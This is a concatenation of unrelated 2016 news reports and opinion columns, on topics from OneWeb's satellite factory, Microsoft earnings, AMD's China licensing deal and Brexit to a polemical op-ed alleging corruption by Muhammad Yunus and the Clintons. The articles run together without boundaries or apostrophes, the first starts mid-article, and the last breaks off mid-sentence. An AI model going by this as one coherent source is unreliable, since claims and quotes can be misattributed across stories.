The OneWeb installation will be located next to a rocket manufacturing plant being developed by Blue Origin, and is a few miles from cavernous NASA-owned hangars used for final assembly of the Lockheed Martin-built Orion crew capsule for deep space expeditions, Boeings commercial CST-100 Starliner astronaut transport, and Sierra Nevadas Dream Chaser space plane for cargo runs to the International Space Station.

The U.S. Air Forces reusable X-37B space plane is also refurbished between missions at Kennedy Space Center.

The storied Florida spaceport was the departure point for the Apollo missions to the moon and all space shuttle flights, but it was never a center for spacecraft and rocket manufacturing until recent years.

We have the location, the facilities and the talented workforce to make space operations successful, said Bob Cabana, a former space shuttle commander and director of Kennedy Space Center. We truly are Americas premier spaceport, and its a real pleasure for me to welcome OneWeb to the team.

OneWeb says it will hire 250 engineers for the 100,000-square-foot (9,000-square-meter) Florida satellite plant.

Satellites today are really manufactured in an artisan way, said Holz, a satellite industry veteran with previous stints at Orbital Sciences, Ball Aerospace and O3b. Its very labor-intensive, very hands-on, and it takes a long time. A typical satellite of the complexity built for Intelsat will take four to five months to integrate, and were going to build one in an eight-hour shift. Thats pretty amazing.

You will see state of the art automation in this factory, Holz said. Were going to be using robotics to move the satellites around the assembly floor  the different pieces  (and) bring them together where theyll be assembled. Well have robotics to attach parts of the equipment on the satellites. All of this is to take the human error out of the process. We will have humans using specialized tools to mount the hardware on the equipment, and those specialized tools will send data into a data acquisition center that we can use to improve the process.

Holz said OneWeb will borrow mass-production techniques from aircraft assembly processes mastered by Airbus.

There will be a lot of new elements brought into satellite manufacturing that only this facility will have in the world, and that will allow us to be very cost-effective, so we can help Greg and OneWeb achieve their dream of pushing affordable Internet access into the developing world and connecting schools.

OneWeb and Airbus hope to sell similar small, relatively-inexpensive satellites to other customers after demonstrating the production capabilities in Florida.

In June 2015, we started from scratch to create a new satellite design and manufacturing company, said Francois Auque, head of space systems at Airbus. In both Florida and Europe, we are now embarking on the next stage of an unprecedented venture in the space industry: a site that can mass-produce dozens of satellites every month. All this, of course, without affecting the levels of quality and technology that are essential when it comes to spacecraft  complex machines that need to operate for several years in space.

Based in Britains Channel Islands, OneWeb counts Richard Bransons Virgin Group as one of its chief financial backers. Other investors include Intelsat, one of the worlds largest conventional telecom satellite operators.

David McGlade, Intelsats executive chairman, attended the announcement Tuesday in Florida. He said Intelsat hopes to augment its own satellite coverage with OneWeb to serve clients like the U.S. government in hard-to-reach parts of the world, such as polar regions not visible to conventional geostationary satellites over the equator.

Intelsat will operate the satellite fleet in orbit for OneWeb.

Airbus, Qualcomm, New Delhi-based Bharti Enterprises, Hughes Network Systems  a subsidiary of EchoStar Corp.  Coca-Cola and Totalplay, a company owned by Mexican billionaire Ricardo Salinas Pliego, are also behind OneWeb.

OneWeb is Wylers second major venture after he established O3b Networks, which operates a fleet of 12 satellites to supply low-latency broadband Internet services to remote equatorial customers, such as islands in the Pacific Ocean, sub-Saharan Africa and luxury cruise liners.

Google, HSBC and satellite operator SES, a rival of Intelsat, were the big investors in O3b.

OneWeb aims to beam wifi and mobile data service around the world by 2019, reaching homes, businesses, hospitals, schools, oil rigs, ships, airplanes and trains. It works by broadcasting a signal to a hotspot that customers can install on their roofs.
Microsoft's decision to radically change the distribution and maintenance of Windows 10 put a $1.6 billion temporary dent in its revenue, the company said Thursday.

In a filing covering the March quarter, Microsoft pointed to the revenue deferral of Windows 10 -- a relatively new way of accounting for the Redmond, Wash. company -- as a reason for the 6% year-over-year decline in revenue.

"Revenue decreased $1.2 billion or 6%, primarily due to the impact of a net revenue deferral related to Windows 10 of $1.6 billion and an unfavorable foreign currency impact of approximately $838 million or 4%," Microsoft's 10-Q filing with the U.S. Securities & Exchange Commission (SEC) stated.

The $1.6 billion in Windows 10 revenue during the March quarter didn't actually vanish: It was instead deferred and will hit the bottom line over the next two to four years.

Last year, when Microsoft outlined and then released Windows 10, it announced that it had to change how it accounted for sales because of its promise that upgrades and updates for the new operating system would be free.

For accounting purposes, a free upgrade requires a company to set aside some revenue from the sale of the affected software -- in this case, Windows 10 -- then recognize that revenue only when the upgrade is released. All the revenue from the software sale is eventually recorded, but at staggered intervals.

In Windows 10's case, the interval varies between two and four years. Microsoft has never explicitly spelled out what Windows 10 sales are recognized in two years, which in three, and those in four. Instead, the company first said that deferral length would depend on the lifetime of the supported device, then added that "customer type" would determine the lifespan.

Microsoft does financial acrobatics to deal with the deferrals. It continues to record revenue as it has in the past, but then debits the "Corporate and Other" reporting segment by pro-rated amounts over the lifespan of the license. For $300 of revenue over a three-year stretch of Windows 10 Pro, for instance, Microsoft would recognize $100 in Year 1 -- that money returned to the balance sheet in the Corporate and Other group -- and defer the remaining for the second and third years, booking $100 in each. At the end of the three years, the full $300 will have been recognized.

If the deferral debits were eliminated, the company would have announced revenue of $22.1 billion for the quarter, not the $20.5 billion it did.

However, the deferred Windows 10 revenue didn't change the revenue and operating income numbers for the More Personal Computing (MPC) division -- a 2015 creation that includes Windows, Microsoft's Lumia and Surface devices, gaming, and search -- because sales immediately land under the group's line.

MPC revenue increased in the first quarter, a change from recent reporting periods, which have seen declines: Revenue was $9.5 billion, up almost 1% from the same period in 2015. But Windows revenue was down.

Sales of licenses to OEMs (original equipment manufacturers) -- the bulk of Windows revenue -- declined 2% year over year, with what Microsoft dubs "Pro" licenses, the more expensive versions of Windows aimed at businesses, down 11%.

As it has for years, Microsoft again blamed the struggling PC business for the decline in Windows revenue. Chief Financial Officer Amy Hood called the PC market's March quarter "weaker than we expected" during yesterday's call with Wall Street.

PC shipments in 2016's first quarter declined by 11.5%, researcher IDC said last week. Rival Gartner pegged the downturn at 9.6%.

Hood attributed the 11% drop in OEM Pro revenue to "higher inventory levels" in the December quarter. Translation: Computer makers stuffed the channel with PCs late last year, then sold fewer than they had expected, leaving too many on shelves and in warehouses with licenses paid for in 2015.

Ironically, sales of consumer-grade licenses to OEMs increased by 15%, Hood said, crediting a "higher-than-expected mix of premium devices" for the upturn. She presumably meant the more expensive -- and larger -- tablets and 2-in-1s, and the pricier PCs. Both IDC and Gartner have repeatedly said that consumer PC sales have tanked because people aren't replacing their aged systems after shifting much of their time on PCs to smartphones, and to a lesser degree, tablets.

Microsoft does not share the specific revenue figures for Pro and "non-Pro" license sales -- the latter represent the consumer-quality versions -- but the former again brought in more money than the latter during the quarter.

That will continue, Hood said as she issued her forecast for the quarter ending June 30, Microsoft's final for its 2016 fiscal year. "In Windows, we expect our OEM Pro revenue to be largely in line with the commercial PC market," she said, referring to the continuing decline now expected. "Our non-Pro revenue is expected to be above the consumer PC market, similar to what we saw in [the March quarter]."
Things just a lot more interesting in the x86 server market.

AMD has announced a plan to license the design of its top-of-the-line server processor to a newly formed Chinese company, creating a brand-new rival for Intel.

AMD is licensing its x86 processor and system-on-chip technology to a company called THATIC (Tianjin Haiguang Advanced Technology Investment Co. Ltd.), a joint venture between AMD and a consortium of public and private Chinese companies.

AMD is providing all the technology needed for THATIC to make a server chip, including the CPUs, interconnects and controllers. THATIC will be able to make variants of the x86 chips for different types of servers.

Most PCs and servers are based on x86 chips, but licensing the chip technology to other companies is rare, even if that company is a joint venture, said Jim McGregor, principal analyst at Tirias Research.

AMD is much smaller than Intel, and licensing offers it an easy way to expand the installed base of AMD technology. The resource-strapped company will also generate licensing revenue in the process, McGregor said.

AMD is taking every step it can to be competitive with Intel, and there's a good chance it will ultimately license its PC chip designs, McGregor said.

The deal is a sign that AMD is looking to monetize its large portfolio of intellectual property, said Patrick Moorhead, president and principal analyst at Moor Insights and Strategy.

"I would expect more deals like this in areas AMD cant reach with their platforms or resources. I would expect arrangements not just for their CPU technology but also their GPU technology," Moorhead said in an email.

Intel won't be happy to hear this news. Suddenly, the long-running two-horse x86 race could include more players, which would hurt Intel more than AMD. Intel dominates the server and PC markets, and licensees could flood AMD's x86 chip variants into more servers and possibly even PCs.

Intel has been holding on tight to its x86 designs and hasn't licensed its chip technology yet. The company makes its own chips, with either sales or design partnerships with companies like RockChip in China. Intel hasn't licensed its x86 architecture to its engineering partners.

"Intel will give you a black box, but not the keys to the kingdom," McGregor said.

AMD will probably license server chip designs based on its upcoming Zen architecture. Zen is supposed to be AMD's best CPU in more than a decade, with performance gains of up to 40 percent per clock cycle. AMD also hopes Zen will make it a true competitor against Intel.

AMD will continue to sell its homegrown server chips. The first Zen server chips will be in servers early next year.

Intel and AMD have already have an x86 cross-licensing agreement. AMD is confident it is not violating any agreement by doing the joint venture with THATIC.

AMD has been quiet about the size of its share in THATIC, but it's not pouring money in. AMD's only investment will be the intellectual property, and it is expecting overall revenue of $293 million from the deal. THATIC operations effectively will be in the hands of the Chinese Academy of Sciences, a national research institution.

AMD's approach here is much like that taken by ARM, which licenses its chip designs to many companies. ARM processor designs are used in smartphones and tablets from the likes of Apple and Samsung. However licensing chip technology hasn't worked out for companies like Nvidia, which found no takers for its Kepler GPU design.

AMD once was a competitive threat to Intel in servers, but it squandered most of its market share with missteps like the heavily criticized Bulldozer architecture. AMD also bought microserver company SeaMicro for $334 million in 2012 but exited that market last year.

The licensing deal and joint venture also give AMD a direct entry into the booming China market. Companies like Baidu, Tencent and Alibaba are building mega data centers, much like Google and Facebook in the U.S., and are committing a lot of computing resources in areas like machine learning.

AMD's entry will also intensify server competition in China. IBM is warming up to Chinese companies with its Power architecture and Qualcomm is making a 24-core ARM server chip for the market.

The joint venture will also give the Chinese government access to x86 designs, which it has coveted for a long time, McGregor said. China wants to foster the development of homegrown chips, and local companies already have access to architectures like Power, ARM and MIPS.

But there's still work for AMD to do in building a relationship with the Chinese government. Intel has a head start as it has played politics and invested heavily in China.
Microsoft's Windows Phone is clearly dead. Redmond's already-bad Windows Phone sales plummeted over the last year to a mere 26% of what they were -- this is simply, spectacularly execrable.

[Developing story: Updated 6:56 am PT with more comment]

Windows Mobile nee Windows Phone has ceased to be, despite every hilarious protest from the Northeast pet store. In IT Blogwatch, bloggers told ya so.

Your humble blogwatcher curated these bloggy bits for your edutainment. Not to mention: A heartfelt Prince tribute





Whats the craic? Brad Sams calls the time of deathDismal Windows Phone Sales for Q3:

Microsoft has released their earnings report for...third quarter fiscal. ... The news is not good.



Windows Phone revenue decreased...47%. [Microsoft] needs to figure out [how] to stop the significant cash-drain [of] Windows Phone.





Ah, yes, the Redmond Blue. What's wrong with it? Ian Betteridge says it's Not pretty:

If you're a fan of Windows Phone...look away. [Microsoft] sold just 2.3 million Lumia devices...a 73% decline from [Q3] last year.



Other areas of [the] earnings report were much more positive. ... The biggest success for Microsoft...was its push into the cloud.



Windows Phone sales [are] a vanishingly small percentage of the overall market. [It] must call into question the product's continued existence. ... It's difficult to see [it] having a future.





It's dead. That's what's wrong with it. Even Mary Jo Foley agreesWhy I broke up with Windows Phone:

I'm no longer part of the one percent. ... My Lumia Icon is now in a desk drawer.



A couple months ago, I decided...to test the growing number of Microsoft apps...on Android. ... I didn't miss [the] pit-in-the-stomach feeling that an app I...need would often not be available.



Notifications on Android have weaned me from my Live Tile dependence. [But] what I don't like about my Android phone [are the] Microsoft apps and services. ... I'm not convinced...that Microsoft's...UWP strategy will fix the app-gap problem.





No, no. It's resting. Tristan Irwin argues the case for the defense:

UWP is more of a big picture answer. ... Eventually Windows will have the app support...to get more than a fanboy user base.



Microsofts tablet OS business is doing pretty well. ... UWP is a better platform for that...and developers CAN save time and money.



How long its gonna take...Im not sure. ... MS has been working on this transition long before smart phones existed.





We know a dead platform when we see one. And Nicole Lee's looking at one right nowMicrosoft's phone business is in free fall:

To no one's surprise, Microsoft isn't turning...a profit from its phone business. ... Sadly, this is an ongoing trend; [in Q2] it reported a...sales drop by...54 percent. ... Satya Nadella's decision to push...the cloud may have saved the company.





Beautiful plumage? As Iain Thomson quips, It's all fine, says Microsoft:

Microsoft is putting a brave face on [a] disappointing [Q3]. In after-hours trading, Microsoft's shares dropped by nearly 4 per cent.



"We had a solid quarter," said CEO Satya Nadella. ... "Our continued operational and financial discipline drove solid results,"...said Amy Hood, Redmond's CFO.





Update: We still seem to be dancing around the issue somewhat. Chris Merriman makes merry with Germanic sausage punnage, calling it Nok-wurst:

Microsoft's...mobile platform continues its freefall into oblivion. ... But let's face it: [Microsoft] isn't exactly short of money for the vending machine.



Microsoft blamed the rate of tax it has to pay. ... Next you'll be reassuring us that...if you look on Bing Maps, there is no Panama.



Consumer...is where the borkage lies. ... Surprise, surprise, it's phones. ... The actual demand for Windows Phone? ... Microsoft doesn't release that information. But holy frijholes it's low.



And Finally

Dalton Cyr's heartfelt Prince tribute
Google and Microsoft have agreed to end their long-running regulatory battles and stop complaining to government agencies about each other.

Microsoft had been one of the leading companies calling for governments to investigate Google over potential antitrust violations in recent years. Earlier this year, though, Microsoft withdrew its support for FairSearch, a coalition of companies pushing the EU to file formal antitrust complaints against Google.

The announcement of the new agreement between the two companies comes just two days after the European Commission filed new antitrust charges against Google related to packaging its apps on Android phones.

The two tech giants, over several years, have been waging a behind-the-scenes cold war against each other involving government agencies in the U.S. and other countries, but that's now ending, both companies said in short statements.

Microsoft has agreed to withdraw its regulatory complaints against Google, reflecting our changing legal priorities," a Microsoft spokesman said by email. "We will continue to focus on competing vigorously for business and for customers.

The new detente stems from a global patent deal the two companies signed last September. That deal ended about 20 patent lawsuits between the two companies in the U.S. and Germany.

"Our companies compete vigorously, but we want to do so on the merits of our products, not in legal proceedings," a Google representative said by email. "As a result, following our patent agreement, we've now agreed to withdraw regulatory complaints against one another."

The new agreement, announced in statements released Friday, isn't driven by a single event but is a natural progression of the companies' relationship, said one person familiar with the deal.
A portrait-daguerreotype of Franklin Pierce, circa 1846-1848, as a volunteer in the Mexican War. Pierce was elected 14th president of the United States (1853-1857). (AP Photo/Library of Congress) Anonymous

On Thursday, the Legislature took another step toward opening the State House to the public on Saturdays between Memorial Day and Columbus Day. The change will be a boost for Concord and a gift to the many out-of-state visitors who can stop and photograph the historic 1819 building  the only State House in the nation in which lawmakers still meet in their original chambers  but cant enter it.

Under the proposed arrangement, the Greater Concord Chamber of Commerce will cover the first years estimated $25,000 cost of staffing the building and leading tours. That will buy time for long-term arrangements to be made.

We hope that Concord will build upon the success of Main Streets redevelopment and the State House opening by doing more to showcase not only Concord but the state as a whole.

Last year, the Concord High School History Club and the Pierce Brigade led a costumed re-enactor tour of the Old North Cemetery, a National Historic Register site just blocks from the State House.

Those groups, perhaps joined by Concord Community Players and volunteers, should make the tour a regular event. It would give visitors one more thing to do  all the better to walk around, get hungry and dine, shop and lodge locally  and bring in a little money that could be used to support the organizations and contribute to the upkeep of the cemetery.

There are amazing stories to be told out of the 1730 cemetery.

Franklin Pierce, the nations 14th president, is buried there, but hes only a start. The graveyard is the final resting place of veterans of most of the nations early wars, from the Revolution to the Civil War and beyond.

Noted abolitionist and newspaper editor Nathaniel Peabody Rogers is buried there. On his gravestone is engraved Friend of the Slave. There too, buried as a pauper, is Phillip Carrigain, a Dartmouth trained lawyer, secretary of state, namer of several peaks in the White Mountains, creator of the most accurate and beautiful maps of the state, and man who, on greeting the Marquis de Lafayette on his visit to Concord, dubbed New Hampshire The Granite State.

Countess Sarah Rumford, daughter of Concord resident Benjamin Thompson, has a marker at the cemetery. Her father, known as Count Rumford, was a famous scientist, social engineer and traitor in the Revolutionary War.

Rumford was found not guilty of aiding the British for lack of evidence but fled Concord when he heard the news that a mob planned to tar and feather him. He achieved great success abroad, took as his last name the citys original name, Rumford, and, though offered the opportunity, never returned.

The cemetery is also the location of the imposing granite Stickney mausoleum. As a young Concord native, Joseph Stickney made a fortune in Pennsylvania coal and railroads and went on to build the Mount Washington Hotel, the last and grandest of its era. His young widow, Carolyn, remarried wealthy Parisian Aymon de Faucigny Lucinge and, for her philanthropic work in World War I, was named a countess.

Lucinge loved the hotel, spent every summer there, and her ghost is said to haunt it. She was initially buried, according to the New York Times under the headline Funeral for a Princess, in Blossom Hill Cemetery but was reinterred in Old North in 1936 when her husbands mausoleum was finally complete.

Concord has a rich and wonderful history. It should be shown off.
Iain Dale is Presenter of LBC Drive, Managing Director of Biteback Publishing, a columnist and broadcaster and a former Conservative Parliamentary candidate.

If you are part of a campaign, you dont just have to win the argument  you have to win peoples hearts and minds. As usual, the republican movement got it totally wrong yesterday on the Queens 90th birthday. Instead of wishing Her Majesty a happy birthday, they just carped and moaned from the sidelines.

Yesterday was not a day for arguing about the future of the monarchy, or the lack of it: it was a one for wishing a 90 year old lady a very enjoyable day and thanking her for her service to the nation.

         

So will Jeremy Corbyn be meeting Barack Obama or not? On Monday, we were told that logistics meant that a meeting might be difficult. On Tuesday, it emerged that Obama doesnt want to meet Corbyn anyway.

I suspect that Corbyn spinners had got to hear that the President might not be making time in his schedule so they got their retaliation in first. It was a pretty bad briefing, but were used to that.

         

Talking of the Labour leadership, they have also banned McDonalds from taking a commercial stand at this years Labour Party conference, apparently on the basis that they use zero hour contracts and dont recognise trade unions. The hand of John McDonnell was probably behind this decision. He has long been a vocal critic of the burger chain.

The fact is that McDonalds employs 85,000 people in this country. They do actually allow their employees to join unions, and they have moved away from zero hour contracts. Perhaps Labour will also ban the Cuba Solidarity campaign from having their usual stand. After all, the Cuban government bans trade unions. I wait with bated breath.

         

So the EU referendum debate grinds on. Im actually interested in the subject, and the campaigns are already boring me rigid. Every day, the same scare stories, the same threats. And weve got nine more weeks of this, God help us. The only politician so far to articulate any kind of positive vision for the future is Michael Gove. And the trouble is, I dont see it changing.

The Remain side seem to have no positive vision at all of the opportunities available to Britain if we stay, which for many people says it all. The Leave side arent a whole lot better, and their problem is that all they can come out with is generalities which dont have an awful lot of economic data behind them.

Its a bit like believing in God  you have faith that God exists, but you cant prove it. Leave supporters have faith that things will be better but they have no way of demonstrating it, and that is the main weakness of the PR in their campaign. So far Remain have proved very adept at scaring people that a plague of locusts will descend if we leave. Leave now need to up their game.

          

But what happens if Britain does indeed vote to Remain? Will the subject of joining the euro rear its ugly head again? Will we then face arguments for us to join a fully-fledged United States of Europe.

However much I hate the idea, if we vote to stay, the logic is much deeper integration, rather than maintaining our usual position of grudgingly moving as slowly as we can. Though ersonally, I could never, ever support us joining the euro for all the reasons already articulated over the years. If you dont have control over your currency, you dont have control over your economy and by implication your country.

William Gladstone put it like this 125 years ago:

The finance of the Country is intimately associated with the liberties of the Country. It is a powerful leverage by which English liberty has been gradually acquired  It lies at the root of English liberty, and if the House of Commons can by any possibility lose the power of the grants of public money your very liberty will be worth very little in comparison  That powerful leverage has been what is commonly known as the Power of the Purse, the control of the House of Commons over public expenditure, the root of English Liberty.

Gladstone ended with a final warning: If these powers of the House of Commons come to be encroached upon, it will be by tacit and insidious methods, and therefore I say that attention should be called to this.

Quite. Some truths endure down the years. Like this one.
Barack Obamas decision to wade into the EU referendum debate has riled Eurosceptics. But they risk doing more harm than good if they allow anger to govern their response.

In the media over the last couple of days a few distinct approaches have started to emerge, and some are much more promising than others.

The first, broadly unhelpful school comprises those who chose to attack Obama directly. This could be because hes a bad President, or playing on the allegation that the President is anti-British, as Boris does to an extent in his article in todays Sun.

Such attacks seem likely to be counter-productive. Most Britons  and likely the overwhelming majority of low-engagement, undecided voters  do not know enough about American politics for arguments based on the shortcomings of the Obama administration to have any cut through.

The unceremonious return of a bust of Churchill on the Presidents first day in office is, likewise, not likely to greatly irritate the sort of person who doesnt yet have a firm idea on the EU.

More effective responses all seem to centre on a (polite, measured) rebuke of Obamas do as I say, not as I do attitude.

For example, the better sections of the Mayors Sun article were those that riffed on the Presidents soaring, optimistic rhetoric from 2008, contrasting the politics of Yes we can! with his participation in the doom-laden Remain campaign.

Iain Duncan Smith has also made the papers today by pointing out that the United States would never consent to an EU-style arrangement itself, especially not one where it was serially outvoted.

This point is taken further by John OSullivan, once senior policy aide to Margaret Thatcher, in pre-eminent American conservative magazine National Review. He points out that Obama is doing his job, which is to advocate for US interests  but that these interests dont always overlap with British interests.

Given that Obama is relatively popular in Britain, this sort of approach seems far more likely to work: claim that your campaign is inspired by his best bits (the hope-and-change positivity) whilst repeatedly  but reasonably  highlighting the inconsistencies in his position and their root in the fact that the place America wants Britain is not the best place for Britain to be.

Fundamentally, it is about minimising any sense of contrast between a man many voters still think of as Mr Optimism and the Leave campaign, instead suggesting that the desire for British independence is actually the positive step and laying the difference of opinion at the feet of the Presidents need to put US interests firsts.

Ideally, from their perspective, the Brexiteers would also find a way to highlight the contrast between Obamas politics  at least, his 2008 politics which British voters might remember  and the overwhelming negativity on the Remain side.

The alternative, which is to snarlingly demand that he keep his foreign nose out, couldnt be better designed to confirm the nasty caricature of the Leave campaign.
If I had a mirror on my writing desk, this is what Id see. A guy in his thirties who, having been educated in a private school, graduated almost a decade ago with a first-class degree in PPE from Oxford. He then moved to London, where his first job was as a researcher in a think-tank, which taught him how to support his arguments with graphs. He then used this skill to dig himself into Westminster.

And then Id think: Damn. Im one of them, arent I? One of the worst. One of the unsalvageable idiots who hovers around the seat of power. I could spend time listing the mitigating factors: mine was a very normal upbringing in Wales; I got through school and university on various bursaries and scholarships; I didnt know of PPEs reputation when I signed up for it; and so on. But the fact remains, it doesnt look very good.

Thankfully, Ill never actually sit on the seat of power. Im a journalist, not a politician. Yet I have been thinking recently: the two may be more similar than theyre advertised to be. Sure, theres a big difference between running the country and writing about those who run the country, but if its preposterous that people like me are doing the former, isnt it also preposterous that people like me are opining about what George Osborne should do with the economy? And Ive been doing that since I was 23 years old.

Ill leave readers to answer the question. What galls me is the hypocrisy of it all. Political commentators bemoan the takeover of politics by streamlined individuals with similar backgrounds to each other. Theyre inexperienced! They dont get it! But political commentators, as a group, dont often measure themselves against the same yardsticks, to see how they come out. Its much like the Guardians campaign against tax avoidance, except its more pervasive than that. This is an everyday sort of oversight.

And its not just about peoples backgrounds either. Another example that Ive used before, although it bears repeating, is last years by-election in Oldham West. Only months before, the general election had exposed the flaws in the polling companies methodologies, and the op-ed pages were merciless in response. The broad consensus was that journalists would now place less stock in voting intention figures and satisfaction ratings, and more in what they heard on the streets.

Here, now, was a test of this ideal. The polling companies didnt really emerge for the Oldham West by-election, as they had for other by-elections, as they were still rewiring their previous assumptions. So it was left to the journalists and what they heard on the streets. They talked to their sources, they talked some more, and then they filed reports about how UKIP were threatening Labour. Others repeated and reinforced these reports until the story of the campaign became: UKIP are so close to Labour that they could actually win. And in the end? Labour won with a 10,722 majority.

There was no malice in the journalists collective mistake. They were simply doing their jobs, just as the pollsters had been doing theirs before the general election. The difference is that, when the polling companies got something wrong, they were lambasted and conducted an inquiry into it. When commentators get something wrong, there isnt nearly as much judgement or self-searching.

Or, as another example, how about the journalist whom I chatted to after an oak-panelled briefing a few years ago? I asked them whether theyd read a particular report on the subject, to which they replied they hadnt. But then, only about half-an-hour later, came their blog-post on the same subject, recommending the same report as well worth reading, or words to that effect.

This was only a small thing  implying they were familiar with a report that they couldnt really have read in the intervening time  but thats my point. We hear about the big instances of hypocrisy, such as the Guardians tax affairs. We eventually hear about the gross transgressions, such as the phone hacking. Its the casual stuff that tends to pass by unnoticed. A politician would be castigated if they were discovered, during some Newsnight interview, to have told a half-truth about whether they had read a report. For this commentator, it was just a throwaway sub-clause.

Not all political commentators are like this. In fact, not even that particular commentator is either. They, like most of their breed, most of the time, are smart, diligent and on the side of good. I think the problems are more to do with the industry than with individuals. There is a heavier emphasis on quick-fire opinion nowadays, and less on reportage. And that opinion has to stand out against the kaleidoscopic backdrop of the social media. Theres barely enough time to question sources, let alone question yourself.

I have benefitted from this arrangement. The industry might not. According to the latest Eurobarometer, only 22 per cent of Brits tend to trust the written press. Thats the lowest proportion in all Europe. And lower, indeed, than the trust we place in Parliament, the Government and even the European Union. Newspapers and news websites face not just a crisis of pounds and pence, but one of sheer credibility.

Which is an immense shame. Britains free press and its practitioners are among the finest, most important parts of our democracy. They dont need regulating out of existence. They dont deserve scorn. But they should sometimes ask of themselves: who are we? What do we do?
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Donated used vehicles will help open the doors to Blue River Teen Challenge, a residence and resource center in Beatrice for women 19 and older who want to transform their lives after facing addiction or other struggles.

At the start of May, small, paper door hangers will adorn the knobs and handles to Beatrice homes. The cards read: Teen Challenge of the Midlands announces its vehicle donation program. Its where the end of the road for a car is the beginning of freedom that works.

More than 1,000 Teen Challenge locations exist worldwide. About 250 of those are in the United States. The Beatrice location is a part of the Teen Challenge of the Midlands division. Leaders of the center are anxious to open the doors to future residents. The vehicle donation program is one step toward that goal.

The person just needs to call, say they have a vehicle to donate and set up a time for us to pick it up, whether theyre home or not, said John Johnson, who moved to Beatrice in January to help his wife, the executive director, open the center. They just need to have the title ready and the keys. We take care of all of the paperwork.

The number to call is 1-888-344-HOPE.

The crew, which is currently Johnson, his wife Joyce Johnson, and Bailey Fossler, said they will accept and pick up running or non-running vehicles, RVs and boats. Vehicles that are fixable will stay at the center as company vehicles or be auctioned at another Teen Challenge center in Colfax, Iowa. Vehicles that are beyond reasonable repair will be taken to a scrap yard.

Profits from all vehicles donated in Gage and surrounding counties will go directly to Blue River Teen Challenge. The donations are tax deductible. Leaders of the center said the vehicle donation program has proven successful at other Teen Challenge centers.

Individuals voluntarily live in Teen Challenge centers for 12-month programs. The Beatrice center will house up to 12 women who may come from anywhere in the world. Program staff said that a lot of the centers "students," as they are called, are recovering from addiction and do not have structure or routine in their lives.

The centers provide structured days complete with curriculum and Christian-based devotional time, as well as life skills training such as cooking, cleaning, laundry, yard work, budgeting and menu planning.

At the center on Wednesday, the team said they need two main things in order to open their doors to women needing help: More funding and two additional staff members.

Blue River Teen Challenge is accepting applications for two single females who would live in the residence full time and work opposite shifts in order to provide 24-hour supervision and assistance to the students. These positions need to be filled before the center can accept residents and officially open. The center is also hiring a part-time, off-site female.

Applicants may call the center at 402-228-5868.

Another funding effort for the center is the 100 for 100 Campaign.

If we can get 100 people to commit to donating $100 each month, that will go far, program staff member Bailey Fossler said. Its a sustainable way to help with our monthly budget and it allows the community to be a part of our program.

Additionally, all Farmers Cooperative locations are partnering with Blue River Teen Challenge in another fundraising avenue. Farmers who bring grain to the cooperatives can specify an amount theyd like to donate to the Teen Challenge center. The farmers wont be taxed on that portion.

In 2014, the Beatrice center received a grant to be used exclusively for the property. The current fundraising efforts are pointed mainly at salaries and operational expenses.

The center at 25478 S. 23rd St. looks ready for residents  beds are made, furniture fills rooms, books line shelves, the kitchen is equipped. The early 1930s charm of the home is apparent in its light fixtures, wood work, wall paper and other ornate details.

We want people to see this is a quality, loving home, not a white-walled institution, Fossler said.

The staff said the public is welcome to schedule tours. They hope to use the large barn on the property for farmers markets and other community events.

Several exterior and property projects remain, which the staff will gladly take volunteer help for. Projects include scraping and painting a gazebo, storage shed and garage, cleaning out the barn and general groundskeeping.

Volunteers can also sign up in the future to pick up shifts, lead a Bible study, teach skills such as canning and provide rides for residents to doctor appointments, for example.

We feel the momentum building and the growth starting to happen. We feel God moving this program forward, Joyce said.

The staff plans to announce a public open house in the coming months.
Printer Friendly Version I Saw The King Naked First! Lets Refresh Our Yunus - Memory! By Omar Tarek Chowdhury 22 April, 2016

Countercurrents.org Everybody believed in the glory of the King and his gospel of sending poverty to museum with the help of microcredit. Because, first, the development agencies of the western countries, and then, kings-queens-presidents-first ladies, international pundits and local consultants, a group of universities and think tanks, a part of global media and their local copycats orchestrated the hype. They all tried to make us believe he is the King for vanishing poverty from the earth. We subscribed their non-stop sermons. Promoters of the King mesmerized us and reinforced our trust in his manufactured image with record number of awards, degrees, honors, medals and laurels. The icon building process reached its pinnacle with the blessing of a mighty resident of the White House, president Bill Clinton, when the Norwegian Nobel Committee bestowed him the Nobel Peace Prize in 2006. By that time, he became the national hero of the donor-sponsored civil society movement and a proponent of poverty eradication, womens empowerment, good governance, anti-corruption, fair elections and so on. For the first time the common enthusiasts were shocked when they saw the Kings plan to formally enter into politics by using his Nobel Laureate image and Grameen empire in an opportune moment of political turmoil and chaos in 2007. First sign of public skepticism about the Kings integrity, commitment to good governance, and intention of his civil society movement  honest and credible candidate for the election  surfaced. However, the iconic image of the King was genuinely shattered when the internationally famed and award winning investigative journalist and documentary filmmaker Tom Heinemanns The Micro Debt documented (2010), supported by the archival documents, manipulation of US $100 million donors fund by the King without the knowledge of the donors and government. As the international donors not-so-pronounced but standard practice goes (Bangladesh has several big cases where donors like EU, DFID, Novib, and CIDA quietly washed their hands of the uncontrollable leading NGOs corruption), Norwegian government settled the matters with standard official steps in response to Toms documentary. Heinemanns The Micro Debt, winner of several awards, made the first substantial crack on the image of the King carefully built by many international promoters. The second wave of the Kings myth-shattering scandal recently surfaced in the USA as The Daily Caller News Foundation disclosed that Hillary Clinton led Department of State awarded at least US$13 million in grants and loans to her longtime friend and Clinton Foundation donor Muhammad Yunus. Clintons aid to Yunus also included 18 grants, contracts and loans awarded to two of his America-based foundations, the Grameen Foundation USA and Grameen America, according to USASpending.gov. The awards, totaling $13 million, were issued by the U.S. Agency for International Development, the development arm of the State Department, beginning when Clinton became secretary of state. Another $11 million in federal funds went to organizations allied with Yunus. Yunus had business relationships with all of them. In this investigative report Yunus has also been revealed to be a Clinton Foundation donor. According to the news outlet, Clinton mixed official government transactions with her donors to her familys foundation. Yunus, for example, donated between US$100,000 and US $300,000 in apparent exchange for the grants and loans worth US$13 million. This report from the USA is like hearing something from the horses mouth about the integrity of the much revered King. If this information are true, then it can be tantamount to high level corruption and a serious case of conflict of interest, abuse of power, position and image by two celebrities  a former US first lady and our King. Ten years ago, right after the receipt of Nobel Peace Prize by the King, Countercurrents published (December 16, 2006) an op-ed by yours truly headlined Nobel-Man's Un-Noble Corporate Nexus. Its quite amusing to see how many of the information furnished in that decade-old op-ed is being proven correct by the information revealed only days ago by the US-based The Daily Caller News Foundation. That Countercurrents op-ed named the names to chart how the Yunus-myth was manufactured, what is his contribution through much advertised microcredit and its linkage with the global capital and corporation. The nexus between the most influential power broker, Muhammad Yunus, and his most powerful friends once residing in the White House are being attested by this breaking news by DCNF of the USA. I invite all readers to revisit that investigative and analytical op-ed carried by 